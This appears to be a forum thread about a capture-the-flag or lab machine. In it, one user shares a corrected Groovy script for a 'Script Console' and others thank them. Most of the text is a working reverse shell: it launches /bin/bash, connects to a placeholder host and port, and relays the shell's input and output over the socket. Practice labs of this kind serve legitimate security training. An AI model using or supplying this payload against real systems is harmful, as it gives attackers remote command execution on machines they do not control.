i had a problem with the script from “Walkthrough”, after paste it in ‘Script Console’ showed an error.
A friend who understand the code correct it and that helped me finish the box, i hope that will help some of u.
Wow thank you.
I wish I found this sooner before getting gpt involved. Adding here for reference
import java.net.Socket
def host = “Ip”
def port = port
def cmd = “/bin/bash”
// Start the process with error stream merged into standard output.
def process = new ProcessBuilder(cmd).redirectErrorStream(true).start()
// Connect to the remote host.
def socket = new Socket(host, port)
// Thread to forward the process’s output to the socket.
Thread.start {
socket.withStreams { inputStream, outputStream →
process.inputStream.withStream { procOut →
byte buffer = new byte[1024]
int bytesRead
while ((bytesRead = procOut.read(buffer)) != -1) {
outputStream.write(buffer, 0, bytesRead)
outputStream.flush()
}
}
}
}
// Thread to forward the socket’s input to the process.
Thread.start {
socket.withStreams { inputStream, outputStream →
process.outputStream.withStream { procIn →
byte buffer = new byte[1024]
int bytesRead
while ((bytesRead = inputStream.read(buffer)) != -1) {
procIn.write(buffer, 0, bytesRead)
procIn.flush()
}
}
}
}
// Wait for the process to exit.
process.waitFor()
socket.close()
process.destroy()